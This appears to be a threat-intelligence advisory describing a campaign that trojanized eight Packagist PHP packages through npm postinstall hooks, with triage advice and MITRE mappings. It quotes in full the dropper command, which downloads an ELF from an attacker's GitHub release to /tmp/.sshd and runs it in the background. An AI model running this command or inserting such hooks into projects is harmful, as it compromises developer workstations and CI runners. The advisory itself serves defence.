# Packagist Cross-Ecosystem Supply Chain Attack — 8 Composer Packages Trojanized via package.json postinstall to Drop GitHub-Hosted Linux Implant (gvfsd-network -> /tmp/.sshd)

> A coordinated supply chain campaign tracked by Socket (May 22, 2026) compromised 8 Composer/Packagist PHP packages by inserting a malicious npm postinstall hook into their package.json — sidestepping Composer-focused dependency scanners. The hook curls a Linux ELF named gvfsd-network from github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases, drops it as /tmp/.sshd, chmods it, and runs it in the background. Socket identified the same payload across 700+ GitHub repositories, including two .github/workflows CI files, indicating broad cross-ecosystem reach beyond the Packagist ecosystem.

- **Published:** 2026-05-23T12:00:00Z
- **Last reviewed:** 2026-05-23T12:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0574
- **ID:** TL-2026-0574
- **Severity:** CRITICAL (CVSS 9.6)
- **Category:** SUPPLY_CHAIN
- **Status:** MONITORING
- **Detections:** 9 · **IOCs:** 25 (full data via the Threadlinqs MCP server — Purple tier)

## Description

On May 22, 2026, Socket threat research disclosed a cross-ecosystem supply chain compromise affecting eight PHP packages indexed on Packagist whose upstream GitHub repositories were modified to ship an identical malicious npm lifecycle hook. The Hacker News reported the campaign on May 23, 2026.

The attacker placed a postinstall entry in each repository''s package.json (not composer.json), exploiting the fact that many modern PHP projects bundle JavaScript build tooling — Laravel starter kits, CMS themes, and admin UIs commonly run ''npm install'' or ''yarn install'' during development bootstrap, which silently triggers npm/yarn lifecycle scripts at project root. Because Composer-focused dependency scanners and policy engines (e.g., composer audit, snyk php, dependabot for composer) do not parse package.json, the malicious hook evaded the ecosystem''s native review surface entirely. This is a deliberate cross-ecosystem evasion technique: the carrier is a Composer package, but the trigger is an npm lifecycle event.

The postinstall command was identical across all confirmed artifacts:

  curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &

Mechanics of the dropper: ''-s'' suppresses progress output, ''-k'' disables TLS certificate verification (operationally hostile and a clear IOC), ''-L'' follows redirects (the GitHub Releases URL 302s to objects.githubusercontent.com), ''-o /tmp/.sshd'' writes a hidden-style file (leading dot) using a name that mimics the OpenSSH daemon, ''2>/dev/null'' suppresses curl errors so install logs remain clean, ''chmod +x'' marks the binary executable, and trailing ''&'' detaches the process so the install command returns immediately. The retrieved ELF is named ''gvfsd-network'', mimicking the legitimate GNOME Virtual File System daemon to blend in with process listings on Linux developer workstations and CI runners.

The payload binary itself was unavailable at the time of Socket''s analysis (the hosting GitHub account ''parikhpreyash4'' had been removed), so post-execution behavior is inferred from the dropper wrapper. The combination of TLS verification bypass, hidden-name drop path under /tmp, masquerade naming, and detached background execution is consistent with a stage-1 loader that establishes outbound C2 and stages a second payload. Without the binary in hand, attribution to a specific malware family cannot be made, but the operational tradecraft is consistent with low-cost commodity Linux implants used by financially motivated actors and ecosystem-scraping crews.

The eight confirmed Packagist packages, all targeting branch-tracking development versions, are: moritz-sauer-13/silverstripe-cms-theme (dev-master, commit 7825479), crosiersource/crosierlib-base (dev-master, commit 551c319), devdojo/wave (dev-main, commit 8f9127a, reverted via 5afe6da), devdojo/genesis (dev-main, commit fe7b1cd, reverted via 3be1f20), katanaui/katana (dev-main, commit a32f9e1, reverted via f679252), elitedevsquad/sidecar-laravel (3.x-dev, commit ed6fd36, reverted via b1f5c53), r2luna/brain (dev-main, commit 85eca91, reverted via 421a1d5), and baskarcm/tzi-chat-ui (dev-main, commit 58fa0b2). The highest-exposure carriers are devdojo/wave (~6,400 GitHub stars) and devdojo/genesis (~1,300 stars, ~9,100 Packagist installs) — both Laravel SaaS starter kits whose typical workflow runs npm install at project root, immediately triggering the dropper.

Socket''s broader code search for the payload URL surfaced ~700 GitHub repositories referencing the same command within roughly 17 hours of detection. Two of these were not package.json hooks but GitHub Actions workflow files: 448776129/UA2F (a fork of Zxilly/UA2F) embedded the command in .github/workflows/ci.yml under a step labeled ''Dependency Cache Sync'', and 448776129/blog-1 (a fork of JS-banana/blog) embedded it in a deploy workflow. This indicates the actor is also probing CI execution as a delivery channel, which would yield code-execution on GitHub-hosted runners and any self-hosted runners that build those forks.

Defenders should treat any host that resolved a dev-tracking version of the eight packages between the malicious-commit timestamp and the revert as potentially compromised. Branch-tracking constraints (''dev-main'', ''dev-master'', ''3.x-dev'') resolve to the latest commit at install time, so even pinned lockfiles that point to those constraints will have pulled the trojanized commit while it was live. Forensic triage should focus on /tmp/.sshd presence, outbound connections to github.com and objects.githubusercontent.com from CI runners and developer workstations during the exposure window, and process trees descending from npm/node postinstall under composer-driven build steps.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1585 Establish Accounts
- T1608 Stage Capabilities
- T1587 Develop Capabilities
- T1195 Supply Chain Compromise
- T1059 Command and Scripting Interpreter
- T1204 User Execution
- T1546 Event Triggered Execution
- T1036 Masquerading
- T1564 Hide Artifacts
- T1685 Disable or Modify Tools
- T1070 Indicator Removal
- T1105 Ingress Tool Transfer
- T1071 Application Layer Protocol
- T1102 Web Service
- T1082 System Information Discovery
- T1552 Unsecured Credentials
- T1005 Data from Local System
- T1041 Exfiltration Over C2 Channel

## Sources

- [Packagist Supply Chain Attack Infects 8 Packages Using GitHub-Hosted Linux Malware](https://thehackernews.com/2026/05/packagist-supply-chain-attack-infects-8.html)
- [Malicious Postinstall Hook Found Across 700+ GitHub Repositories](https://socket.dev/blog/malicious-postinstall-hook-found-across-700-github-repos)
- [Supply Chain Attack Flags 700+ GitHub Repos With Hidden Linux Payload](https://coinstats.app/news/31b41ef2cf0260c8422744123efbf44b319656d8fecd48950a7160cc2fbca8ca_Supply-Chain-Attack-Flags-700-GitHub-Repos-With-Hidden-Linux-Payload/)
- [Composer CLI Reference — install and audit](https://getcomposer.org/doc/03-cli.md)
- [npm Documentation — Lifecycle Scripts (postinstall)](https://docs.npmjs.com/cli/v10/using-npm/scripts)
- [MITRE ATT&CK T1195.002 — Compromise Software Supply Chain](https://attack.mitre.org/techniques/T1195/002/)
- [MITRE ATT&CK T1059.004 — Unix Shell](https://attack.mitre.org/techniques/T1059/004/)
- [MITRE ATT&CK T1105 — Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0574
